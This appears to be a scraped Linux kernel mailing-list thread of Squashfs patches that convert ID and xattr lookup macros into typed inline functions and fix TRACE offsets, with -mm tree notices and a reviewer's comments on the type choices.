3. Inline functions are easier to read than #define macros, which improves code comprehension.
--- fs/squashfs/id.c | 9 +++++---- fs/squashfs/squashfs_fs.h | 15 --------------- fs/squashfs/squashfs_helpers.h | 27 +++++++++++++++++++++++++++ 3 files changed, 32 insertions(+), 19 deletions(-)
fs/squashfs/id.c +5 -4
@@ -24,6 +24,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" +#include "squashfs_helpers.h" #include "squashfs.h" /*
@@ -33,8 +34,8 @@ int squashfs_get_id(struct super_block *sb, unsigned int index, unsigned int *id) {struct squashfs_sb_info *msblk = sb->s_fs_info; -int block =SQUASHFS_ID_BLOCK (index); -int offset =SQUASHFS_ID_BLOCK_OFFSET (index); +int block =squashfs_id_block (index); +int offset =squashfs_id_block_offset (index);u64 start_block;__le32 disk_id;int err;
@@ -60,8 +61,8 @@ int squashfs_get_id(struct super_block *sb, unsigned int index,__le64 *squashfs_read_id_index_table (struct super_block *sb,u64 id_table_start,u64 next_table,unsigned short no_ids) { -unsigned int length =SQUASHFS_ID_BLOCK_BYTES (no_ids); -unsigned int indexes =SQUASHFS_ID_BLOCKS (no_ids); +unsigned int length =squashfs_id_block_bytes (no_ids); +unsigned int indexes =squashfs_id_blocks (no_ids);int n;__le64 *table;u64 start, end;
fs/squashfs/squashfs_fs.h +0 -15
@@ -107,21 +107,6 @@ static inline int squashfs_block_size(__le32 raw)return (size >>25 ) ? -EIO : size; } -/* uid/gid lookup table defines */ -#define SQUASHFS_ID_BYTES (A ) ((A) * sizeof(unsigned int)) - -#define SQUASHFS_ID_BLOCK (A ) (SQUASHFS_ID_BYTES(A) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_ID_BLOCK_OFFSET (A ) (SQUASHFS_ID_BYTES(A) % \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_ID_BLOCKS (A ) ((SQUASHFS_ID_BYTES(A) + \ - SQUASHFS_METADATA_SIZE - 1) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_ID_BLOCK_BYTES (A ) (SQUASHFS_ID_BLOCKS(A) *\ - sizeof(u64))/* xattr id lookup table defines */ #define SQUASHFS_XATTR_BYTES (A ) (((u64) (A)) * sizeof(struct squashfs_xattr_id))
fs/squashfs/squashfs_helpers.h +27 -0
@@ -105,4 +105,31 @@ static inline s32 squashfs_lookup_block_bytes(u32 inodes) {return squashfs_lookup_blocks (inodes) *sizeof (long long ); } + +/* uid lookup table defines */ +static inline s32 squashfs_id_bytes (u16 ids) +{ +return (s32 ) ids *sizeof (unsigned int ); +} + +static inline s32 squashfs_id_block (u16 ids) +{ +return squashfs_id_bytes (ids) /SQUASHFS_METADATA_SIZE ; +} + +static inline s16 squashfs_id_block_offset (u16 ids) +{ +return squashfs_id_bytes (ids) %SQUASHFS_METADATA_SIZE ; +} + +static inline s8 squashfs_id_blocks (u16 ids) +{ +return (squashfs_id_bytes (ids) + (SQUASHFS_METADATA_SIZE -1 )) / +SQUASHFS_METADATA_SIZE ; +} + +static inline s16 squashfs_id_block_bytes (u16 ids) +{ +return squashfs_id_blocks (ids) *sizeof (long long ); +}#endif
Signature · 1 line
2.47.3
Andrew Morton
tree notice+ squashfs-convert-squashfs_id_-to-inline-functions.patch added to mm-nonmm-unstable branch
The patch titled Subject: Squashfs: convert SQUASHFS_ID_* to inline functions has been added to the -mm mm-nonmm-unstable branch. Its filename is…
The patch titled
Subject: Squashfs: convert SQUASHFS_ID_* to inline functions
has been added to the -mm mm-nonmm-unstable branch. Its filename is
squashfs-convert-squashfs_id_-to-inline-functions.patch
This patch will shortly appear at
https://git.kernel.org/pub/scm/linux/kernel/git/akpm/25-new.git/tree/patches/squashfs-convert-squashfs_id_-to-inline-functions.patch
This patch will later appear in the mm-nonmm-unstable branch at
git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
Before you just go and hit "reply", please:
a) Consider who else should be cc'ed
b) Prefer to cc a suitable mailing list as well
c) Ideally: find the original patch on the mailing list and do a reply-to-all to that, adding suitable additional cc's
*** Remember to use Documentation/process/submit-checklist.rst when testing your code ***
The -mm tree is included into linux-next via various branches at git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
and is updated there most days
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: convert SQUASHFS_ID_* to inline functions
Date: Mon, 23 Nov 2026 03:42:46 +0000
Convert old fashioned #define macros into inline functions. This has the following improvements:
1. Inline functions are typed, which makes the width and signedness of input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in later commits.
3. Inline functions are easier to read than #define macros, which improves code comprehension.
fs/squashfs/id.c | 9 +++++---- fs/squashfs/squashfs_fs.h | 15 --------------- fs/squashfs/squashfs_helpers.h | 27 +++++++++++++++++++++++++++ 3 files changed, 32 insertions(+), 19 deletions(-)
fs/squashfs/id.c renamed from fs/squashfs/id.c~squashfs-convert-squashfs_id_-to-inline-functions +5 -4
@@ -24,6 +24,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" +#include "squashfs_helpers.h" #include "squashfs.h" /*
@@ -33,8 +34,8 @@ int squashfs_get_id(struct super_block * unsigned int *id) {struct squashfs_sb_info *msblk = sb->s_fs_info; -int block =SQUASHFS_ID_BLOCK (index); -int offset =SQUASHFS_ID_BLOCK_OFFSET (index); +int block =squashfs_id_block (index); +int offset =squashfs_id_block_offset (index);u64 start_block;__le32 disk_id;int err;
@@ -60,8 +61,8 @@ int squashfs_get_id(struct super_block *__le64 *squashfs_read_id_index_table (struct super_block *sb,u64 id_table_start,u64 next_table,unsigned short no_ids) { -unsigned int length =SQUASHFS_ID_BLOCK_BYTES (no_ids); -unsigned int indexes =SQUASHFS_ID_BLOCKS (no_ids); +unsigned int length =squashfs_id_block_bytes (no_ids); +unsigned int indexes =squashfs_id_blocks (no_ids);int n;__le64 *table;u64 start, end;
fs/squashfs/squashfs_fs.h renamed from fs/squashfs/squashfs_fs.h~squashfs-convert-squashfs_id_-to-inline-functions +0 -15
@@ -107,21 +107,6 @@ static inline int squashfs_block_size(__return (size >>25 ) ? -EIO : size; } -/* uid/gid lookup table defines */ -#define SQUASHFS_ID_BYTES (A ) ((A) * sizeof(unsigned int)) - -#define SQUASHFS_ID_BLOCK (A ) (SQUASHFS_ID_BYTES(A) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_ID_BLOCK_OFFSET (A ) (SQUASHFS_ID_BYTES(A) % \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_ID_BLOCKS (A ) ((SQUASHFS_ID_BYTES(A) + \ - SQUASHFS_METADATA_SIZE - 1) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_ID_BLOCK_BYTES (A ) (SQUASHFS_ID_BLOCKS(A) *\ - sizeof(u64))/* xattr id lookup table defines */ #define SQUASHFS_XATTR_BYTES (A ) (((u64) (A)) * sizeof(struct squashfs_xattr_id))
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~squashfs-convert-squashfs_id_-to-inline-functions +27 -0
@@ -105,4 +105,31 @@ static inline s32 squashfs_lookup_block_ {return squashfs_lookup_blocks (inodes) *sizeof (long long ); } + +/* uid lookup table defines */ +static inline s32 squashfs_id_bytes (u16 ids) +{ +return (s32 ) ids *sizeof (unsigned int ); +} + +static inline s32 squashfs_id_block (u16 ids) +{ +return squashfs_id_bytes (ids) /SQUASHFS_METADATA_SIZE ; +} + +static inline s16 squashfs_id_block_offset (u16 ids) +{ +return squashfs_id_bytes (ids) %SQUASHFS_METADATA_SIZE ; +} + +static inline s8 squashfs_id_blocks (u16 ids) +{ +return (squashfs_id_bytes (ids) + (SQUASHFS_METADATA_SIZE -1 )) / +SQUASHFS_METADATA_SIZE ; +} + +static inline s16 squashfs_id_block_bytes (u16 ids) +{ +return squashfs_id_blocks (ids) *sizeof (long long ); +}#endif
_
Patches currently in -mm which might be from [email protected] are
squashfs-convert-squashfs_compressed_-to-inline-functions.patch squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions.patch squashfs-convert-squashfs_fragment_-to-inline-functions.patch squashfs-convert-squashfs_lookup_-to-inline-functions.patch squashfs-convert-squashfs_id_-to-inline-functions.patch squashfs-convert-squashfs_xattr_-to-inline-functions.patch squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch squashfs-dont-compute-start-or-alloc-memory-on-empty-directory-or-index.patch squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-or-size_t.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch
Re: [PATCH v3 05/23] Squashfs: convert SQUASHFS_ID_* to inline functions
In reply to Phillip LougherQuoted 84 lines · On Mon, 23 Nov 2026 03:42:46 +0000 Phillip Lougher <[email protected]>…
Convert old fashioned #define macros into inline functions. This has the following improvements:
1. Inline functions are typed, which makes the width and signedness of input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in later commits.
3. Inline functions are easier to read than #define macros, which improves code comprehension.
Signed-off-by Phillip Lougher <[email protected]>--- fs/squashfs/id.c | 9 +++++---- fs/squashfs/squashfs_fs.h | 15 --------------- fs/squashfs/squashfs_helpers.h | 27 +++++++++++++++++++++++++++ 3 files changed, 32 insertions(+), 19 deletions(-)fs/squashfs/id.c +5
-4@@ -24,6 +24,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" +#include "squashfs_helpers.h" #include "squashfs.h" /* @@ -33,8 +34,8 @@ int squashfs_get_id(struct super_block *sb, unsigned int index, unsigned int *id) {struct squashfs_sb_info *msblk = sb->s_fs_info; -int block =SQUASHFS_ID_BLOCK (index); -int offset =SQUASHFS_ID_BLOCK_OFFSET (index); +int block =squashfs_id_block (index); +int offset =squashfs_id_block_offset (index);u64 start_block;__le32 disk_id;int err;@@ -60,8 +61,8 @@ int squashfs_get_id(struct super_block *sb, unsigned int index,__le64 *squashfs_read_id_index_table (struct super_block *sb,u64 id_table_start,u64 next_table,unsigned short no_ids) { -unsigned int length =SQUASHFS_ID_BLOCK_BYTES (no_ids); -unsigned int indexes =SQUASHFS_ID_BLOCKS (no_ids); +unsigned int length =squashfs_id_block_bytes (no_ids); +unsigned int indexes =squashfs_id_blocks (no_ids);int n;__le64 *table;u64 start, end;fs/squashfs/squashfs_fs.h +0
-15@@ -107,21 +107,6 @@ static inline int squashfs_block_size(__le32 raw)return (size >>25 ) ? -EIO : size; } -/* uid/gid lookup table defines */ -#define SQUASHFS_ID_BYTES (A ) ((A) * sizeof(unsigned int)) - -#define SQUASHFS_ID_BLOCK (A ) (SQUASHFS_ID_BYTES(A) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_ID_BLOCK_OFFSET (A ) (SQUASHFS_ID_BYTES(A) % \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_ID_BLOCKS (A ) ((SQUASHFS_ID_BYTES(A) + \ - SQUASHFS_METADATA_SIZE - 1) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_ID_BLOCK_BYTES (A ) (SQUASHFS_ID_BLOCKS(A) *\ - sizeof(u64))/* xattr id lookup table defines */ #define SQUASHFS_XATTR_BYTES (A ) (((u64) (A)) * sizeof(struct squashfs_xattr_id))fs/squashfs/squashfs_helpers.h +0
-0
fs/squashfs/squashfs_helpers.h static inline s32 squashfs_lookup_block_bytes(u32 inodes) · line 112
Quoted 8 lines
fs/squashfs/squashfs_helpers.h +5
-0@@ -105,4 +105,31 @@ static inline s32 squashfs_lookup_block_bytes(u32 inodes) {return squashfs_lookup_blocks (inodes) *sizeof (long long ); } + +/* uid lookup table defines */ +static inline s32 squashfs_id_bytes (u16 ids) +{ +return (s32 ) ids *sizeof (unsigned int );
What is that cast for?
The choice of types looks odd for other reasons.
You have 'u16 ids' but the caller passes an 'unsigned short',
in reality 'unsigned int' is likely to generate better code than a 16bit (or 8bit) type.
Put u8/u16 in structures, but use unsigned int for variables and parameters.
Changing these from #define to functions is likely to force the compiler to add instructions to mast the results of arithmetic operations.
I'd also guess that the 'id' is a fixed size type?
(Yes, I know 'int' is going to be 32bit - but that isn't the point.)
David
Quoted 23 lines
fs/squashfs/squashfs_helpers.h +22
-0+} + +static inline s32 squashfs_id_block (u16 ids) +{ +return squashfs_id_bytes (ids) /SQUASHFS_METADATA_SIZE ; +} + +static inline s16 squashfs_id_block_offset (u16 ids) +{ +return squashfs_id_bytes (ids) %SQUASHFS_METADATA_SIZE ; +} + +static inline s8 squashfs_id_blocks (u16 ids) +{ +return (squashfs_id_bytes (ids) + (SQUASHFS_METADATA_SIZE -1 )) / +SQUASHFS_METADATA_SIZE ; +} + +static inline s16 squashfs_id_block_bytes (u16 ids) +{ +return squashfs_id_blocks (ids) *sizeof (long long ); +}#endif
Phillip Lougher
maintainerPATCH v3 6/23 Squashfs: convert SQUASHFS_XATTR_* to inline functions
In reply to Phillip LougherConvert old fashioned #define macros into inline functions. This has the following improvements:
1. Inline functions are typed, which makes the width and signedness of input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in later commits.
3. Inline functions are easier to read than #define macros, which improves code comprehension.
--- fs/squashfs/squashfs_fs.h | 19 ----------------- fs/squashfs/squashfs_helpers.h | 37 ++++++++++++++++++++++++++++++++++ fs/squashfs/xattr.c | 18 ++++++++--------- fs/squashfs/xattr_id.c | 9 +++++---- 4 files changed, 51 insertions(+), 32 deletions(-)
fs/squashfs/squashfs_fs.h +0 -19
@@ -107,25 +107,6 @@ static inline int squashfs_block_size(__le32 raw)return (size >>25 ) ? -EIO : size; } -/* xattr id lookup table defines */ -#define SQUASHFS_XATTR_BYTES (A ) (((u64) (A)) * sizeof(struct squashfs_xattr_id)) - -#define SQUASHFS_XATTR_BLOCK (A ) (SQUASHFS_XATTR_BYTES(A) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_XATTR_BLOCK_OFFSET (A ) (SQUASHFS_XATTR_BYTES(A) % \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_XATTR_BLOCKS (A ) ((SQUASHFS_XATTR_BYTES(A) + \ - SQUASHFS_METADATA_SIZE - 1) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_XATTR_BLOCK_BYTES (A ) (SQUASHFS_XATTR_BLOCKS(A) *\ - sizeof(u64)) -#define SQUASHFS_XATTR_BLK (A ) ((unsigned int) ((A) >> 16)) - -#define SQUASHFS_XATTR_OFFSET (A ) ((unsigned int) ((A) & 0xffff)) -/* cached data constants for filesystem */ #define SQUASHFS_CACHED_BLKS 8
fs/squashfs/squashfs_helpers.h +37 -0
@@ -132,4 +132,41 @@ static inline s16 squashfs_id_block_bytes(u16 ids) {return squashfs_id_blocks (ids) *sizeof (long long ); } + +/* xattr id lookup table defines */ +static inline s64 squashfs_xattr_bytes (u32 xattrs) +{ +return (s64 ) xattrs *sizeof (struct squashfs_xattr_id ); +} + +static inline s32 squashfs_xattr_block (u32 xattrs) +{ +return squashfs_xattr_bytes (xattrs) /SQUASHFS_METADATA_SIZE ; +} + +static inline s16 squashfs_xattr_block_offset (u32 xattrs) +{ +return squashfs_xattr_bytes (xattrs) %SQUASHFS_METADATA_SIZE ; +} + +static inline s32 squashfs_xattr_blocks (u32 xattrs) +{ +return (squashfs_xattr_bytes (xattrs) +SQUASHFS_METADATA_SIZE -1 ) / +SQUASHFS_METADATA_SIZE ; +} + +static inline s32 squashfs_xattr_block_bytes (u32 xattrs) +{ +return squashfs_xattr_blocks (xattrs) *sizeof (long long ); +} + +static inline u32 squashfs_xattr_blk (s64 xattr) +{ +return xattr >>16 ; +} + +static inline s16 squashfs_xattr_offset (s64 xattr) +{ +return xattr &0xffff ; +}#endif
fs/squashfs/xattr.c +9 -9
@@ -19,6 +19,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" static const struct xattr_handler *squashfs_xattr_handler (int );
@@ -29,9 +30,9 @@ ssize_t squashfs_listxattr(struct dentry *d, char *buffer,struct inode *inode =d_inode (d);struct super_block *sb = inode->i_sb;struct squashfs_sb_info *msblk = sb->s_fs_info; -u64 start =SQUASHFS_XATTR_BLK (squashfs_i (inode)->xattr) - + msblk->xattr_table; -int offset =SQUASHFS_XATTR_OFFSET (squashfs_i (inode)->xattr); +u64 start =squashfs_xattr_blk (squashfs_i (inode)->xattr) + + msblk->xattr_table; +int offset =squashfs_xattr_offset (squashfs_i (inode)->xattr);int count =squashfs_i (inode)->xattr_count;size_t rest = buffer_size;int err;
@@ -107,14 +108,13 @@ static int squashfs_xattr_get(struct inode *inode, int name_index, {struct super_block *sb = inode->i_sb;struct squashfs_sb_info *msblk = sb->s_fs_info; -u64 start =SQUASHFS_XATTR_BLK (squashfs_i (inode)->xattr) - + msblk->xattr_table; -int offset =SQUASHFS_XATTR_OFFSET (squashfs_i (inode)->xattr); +u64 start =squashfs_xattr_blk (squashfs_i (inode)->xattr) + + msblk->xattr_table; +int offset =squashfs_xattr_offset (squashfs_i (inode)->xattr);int count =squashfs_i (inode)->xattr_count;int name_len =strlen (name);int err, vsize;char *target =kmalloc (name_len,GFP_KERNEL ); -if (target ==NULL )return -ENOMEM ;
@@ -158,9 +158,9 @@ static int squashfs_xattr_get(struct inode *inode, int name_index,if (err <0 ) goto failed; xattr =le64_to_cpu (xattr_val); - start =SQUASHFS_XATTR_BLK (xattr) + + start =squashfs_xattr_blk (xattr) + msblk->xattr_table; - offset =SQUASHFS_XATTR_OFFSET (xattr); + offset =squashfs_xattr_offset (xattr); }/* read xattr value */ err = squashfs_read_metadata(sb, &val, &start, &offset,
fs/squashfs/xattr_id.c +5 -4
@@ -19,6 +19,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "xattr.h"
@@ -29,8 +30,8 @@ int squashfs_xattr_lookup(struct super_block *sb, unsigned int index, int *count, unsigned int *size, unsigned long long *xattr) { struct squashfs_sb_info *msblk = sb->s_fs_info; -int block =SQUASHFS_XATTR_BLOCK (index); -int offset =SQUASHFS_XATTR_BLOCK_OFFSET (index); +int block =squashfs_xattr_block (index); +int offset =squashfs_xattr_block_offset (index);u64 start_block;struct squashfs_xattr_id id;int err;
@@ -79,8 +80,8 @@ __le64 *squashfs_read_xattr_id_table(struct super_block *sb, u64 table_start,if (*xattr_ids ==0 )return ERR_PTR (-EINVAL ); - len =SQUASHFS_XATTR_BLOCK_BYTES (*xattr_ids); - indexes =SQUASHFS_XATTR_BLOCKS (*xattr_ids); + len =squashfs_xattr_block_bytes (*xattr_ids); + indexes =squashfs_xattr_blocks (*xattr_ids);/* * The computed size of the index table (len bytes) should exactly
Signature · 1 line
2.47.3
Andrew Morton
tree notice+ squashfs-convert-squashfs_xattr_-to-inline-functions.patch added to mm-nonmm-unstable branch
The patch titled Subject: Squashfs: convert SQUASHFS_XATTR_* to inline functions has been added to the -mm mm-nonmm-unstable branch. Its filename is…
The patch titled
Subject: Squashfs: convert SQUASHFS_XATTR_* to inline functions
has been added to the -mm mm-nonmm-unstable branch. Its filename is
squashfs-convert-squashfs_xattr_-to-inline-functions.patch
This patch will shortly appear at
https://git.kernel.org/pub/scm/linux/kernel/git/akpm/25-new.git/tree/patches/squashfs-convert-squashfs_xattr_-to-inline-functions.patch
This patch will later appear in the mm-nonmm-unstable branch at
git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
Before you just go and hit "reply", please:
a) Consider who else should be cc'ed
b) Prefer to cc a suitable mailing list as well
c) Ideally: find the original patch on the mailing list and do a reply-to-all to that, adding suitable additional cc's
*** Remember to use Documentation/process/submit-checklist.rst when testing your code ***
The -mm tree is included into linux-next via various branches at git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
and is updated there most days
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: convert SQUASHFS_XATTR_* to inline functions
Date: Mon, 23 Nov 2026 03:42:47 +0000
Convert old fashioned #define macros into inline functions. This has the following improvements:
1. Inline functions are typed, which makes the width and signedness of input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in later commits.
3. Inline functions are easier to read than #define macros, which improves code comprehension.
fs/squashfs/squashfs_fs.h | 19 --------------- fs/squashfs/squashfs_helpers.h | 37 +++++++++++++++++++++++++++++++ fs/squashfs/xattr.c | 18 +++++++-------- fs/squashfs/xattr_id.c | 9 ++++--- 4 files changed, 51 insertions(+), 32 deletions(-)
fs/squashfs/squashfs_fs.h renamed from fs/squashfs/squashfs_fs.h~squashfs-convert-squashfs_xattr_-to-inline-functions +0 -19
@@ -107,25 +107,6 @@ static inline int squashfs_block_size(__return (size >>25 ) ? -EIO : size; } -/* xattr id lookup table defines */ -#define SQUASHFS_XATTR_BYTES (A ) (((u64) (A)) * sizeof(struct squashfs_xattr_id)) - -#define SQUASHFS_XATTR_BLOCK (A ) (SQUASHFS_XATTR_BYTES(A) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_XATTR_BLOCK_OFFSET (A ) (SQUASHFS_XATTR_BYTES(A) % \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_XATTR_BLOCKS (A ) ((SQUASHFS_XATTR_BYTES(A) + \ - SQUASHFS_METADATA_SIZE - 1) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_XATTR_BLOCK_BYTES (A ) (SQUASHFS_XATTR_BLOCKS(A) *\ - sizeof(u64)) -#define SQUASHFS_XATTR_BLK (A ) ((unsigned int) ((A) >> 16)) - -#define SQUASHFS_XATTR_OFFSET (A ) ((unsigned int) ((A) & 0xffff)) -/* cached data constants for filesystem */ #define SQUASHFS_CACHED_BLKS 8
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~squashfs-convert-squashfs_xattr_-to-inline-functions +37 -0
@@ -132,4 +132,41 @@ static inline s16 squashfs_id_block_byte {return squashfs_id_blocks (ids) *sizeof (long long ); } + +/* xattr id lookup table defines */ +static inline s64 squashfs_xattr_bytes (u32 xattrs) +{ +return (s64 ) xattrs *sizeof (struct squashfs_xattr_id ); +} + +static inline s32 squashfs_xattr_block (u32 xattrs) +{ +return squashfs_xattr_bytes (xattrs) /SQUASHFS_METADATA_SIZE ; +} + +static inline s16 squashfs_xattr_block_offset (u32 xattrs) +{ +return squashfs_xattr_bytes (xattrs) %SQUASHFS_METADATA_SIZE ; +} + +static inline s32 squashfs_xattr_blocks (u32 xattrs) +{ +return (squashfs_xattr_bytes (xattrs) +SQUASHFS_METADATA_SIZE -1 ) / +SQUASHFS_METADATA_SIZE ; +} + +static inline s32 squashfs_xattr_block_bytes (u32 xattrs) +{ +return squashfs_xattr_blocks (xattrs) *sizeof (long long ); +} + +static inline u32 squashfs_xattr_blk (s64 xattr) +{ +return xattr >>16 ; +} + +static inline s16 squashfs_xattr_offset (s64 xattr) +{ +return xattr &0xffff ; +}#endif
fs/squashfs/xattr.c renamed from fs/squashfs/xattr.c~squashfs-convert-squashfs_xattr_-to-inline-functions +9 -9
@@ -19,6 +19,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" static const struct xattr_handler *squashfs_xattr_handler (int );
@@ -29,9 +30,9 @@ ssize_t squashfs_listxattr(struct dentrystruct inode *inode =d_inode (d);struct super_block *sb = inode->i_sb;struct squashfs_sb_info *msblk = sb->s_fs_info; -u64 start =SQUASHFS_XATTR_BLK (squashfs_i (inode)->xattr) - + msblk->xattr_table; -int offset =SQUASHFS_XATTR_OFFSET (squashfs_i (inode)->xattr); +u64 start =squashfs_xattr_blk (squashfs_i (inode)->xattr) + + msblk->xattr_table; +int offset =squashfs_xattr_offset (squashfs_i (inode)->xattr);int count =squashfs_i (inode)->xattr_count;size_t rest = buffer_size;int err;
@@ -107,14 +108,13 @@ static int squashfs_xattr_get(struct ino {struct super_block *sb = inode->i_sb;struct squashfs_sb_info *msblk = sb->s_fs_info; -u64 start =SQUASHFS_XATTR_BLK (squashfs_i (inode)->xattr) - + msblk->xattr_table; -int offset =SQUASHFS_XATTR_OFFSET (squashfs_i (inode)->xattr); +u64 start =squashfs_xattr_blk (squashfs_i (inode)->xattr) + + msblk->xattr_table; +int offset =squashfs_xattr_offset (squashfs_i (inode)->xattr);int count =squashfs_i (inode)->xattr_count;int name_len =strlen (name);int err, vsize;char *target =kmalloc (name_len,GFP_KERNEL ); -if (target ==NULL )return -ENOMEM ;
@@ -158,9 +158,9 @@ static int squashfs_xattr_get(struct inoif (err <0 ) goto failed; xattr =le64_to_cpu (xattr_val); - start =SQUASHFS_XATTR_BLK (xattr) + + start =squashfs_xattr_blk (xattr) + msblk->xattr_table; - offset =SQUASHFS_XATTR_OFFSET (xattr); + offset =squashfs_xattr_offset (xattr); }/* read xattr value */ err = squashfs_read_metadata(sb, &val, &start, &offset,
fs/squashfs/xattr_id.c renamed from fs/squashfs/xattr_id.c~squashfs-convert-squashfs_xattr_-to-inline-functions +5 -4
@@ -19,6 +19,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "xattr.h"
@@ -29,8 +30,8 @@ int squashfs_xattr_lookup(struct super_b int *count, unsigned int *size, unsigned long long *xattr) { struct squashfs_sb_info *msblk = sb->s_fs_info; -int block =SQUASHFS_XATTR_BLOCK (index); -int offset =SQUASHFS_XATTR_BLOCK_OFFSET (index); +int block =squashfs_xattr_block (index); +int offset =squashfs_xattr_block_offset (index);u64 start_block;struct squashfs_xattr_id id;int err;
@@ -79,8 +80,8 @@ __le64 *squashfs_read_xattr_id_table(strif (*xattr_ids ==0 )return ERR_PTR (-EINVAL ); - len =SQUASHFS_XATTR_BLOCK_BYTES (*xattr_ids); - indexes =SQUASHFS_XATTR_BLOCKS (*xattr_ids); + len =squashfs_xattr_block_bytes (*xattr_ids); + indexes =squashfs_xattr_blocks (*xattr_ids);/* * The computed size of the index table (len bytes) should exactly
_
Patches currently in -mm which might be from [email protected] are
squashfs-convert-squashfs_compressed_-to-inline-functions.patch squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions.patch squashfs-convert-squashfs_fragment_-to-inline-functions.patch squashfs-convert-squashfs_lookup_-to-inline-functions.patch squashfs-convert-squashfs_id_-to-inline-functions.patch squashfs-convert-squashfs_xattr_-to-inline-functions.patch squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch squashfs-dont-compute-start-or-alloc-memory-on-empty-directory-or-index.patch squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-or-size_t.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch
Phillip Lougher
maintainerPATCH v3 7/23 Squashfs: fix offset in squashfs_read_inode() TRACE statements
In reply to Phillip LougherThe offset used in the TRACE statements has been advanced past the start of the inode header by the squashfs_read_metadata() call. This means the offset printed is incorrect.
Fix this by using the original offset, which is obtained by calling squashfs_inode_offset(ino).
--- fs/squashfs/inode.c | 22 ++++++++++++++-------- 1 file changed, 14 insertions(+), 8 deletions(-)
fs/squashfs/inode.c +14 -8
@@ -184,7 +184,8 @@ int squashfs_read_inode(struct inode *inode, long long ino)TRACE ("File inode %x:%x, start_block %llx, block_list_start " "%llx, offset %x\n" ,squashfs_inode_blk (ino), - offset,squashfs_i (inode)->start, block, offset); +squashfs_inode_offset (ino), +squashfs_i (inode)->start, block, offset);break ; }case SQUASHFS_LREG_TYPE : {
@@ -244,7 +245,8 @@ int squashfs_read_inode(struct inode *inode, long long ino)TRACE ("File inode %x:%x, start_block %llx, block_list_start " "%llx, offset %x\n" ,squashfs_inode_blk (ino), - offset,squashfs_i (inode)->start, block, offset); +squashfs_inode_offset (ino),squashfs_i (inode)->start, + block, offset);break ; }case SQUASHFS_DIR_TYPE : {
@@ -266,7 +268,8 @@ int squashfs_read_inode(struct inode *inode, long long ino)squashfs_i (inode)->parent =le32_to_cpu (sqsh_ino->parent_inode);TRACE ("Directory inode %x:%x, start_block %llx, offset %x\n" , -squashfs_inode_blk (ino), offset, +squashfs_inode_blk (ino), +squashfs_inode_offset (ino),squashfs_i (inode)->start,le16_to_cpu (sqsh_ino->offset));break ;
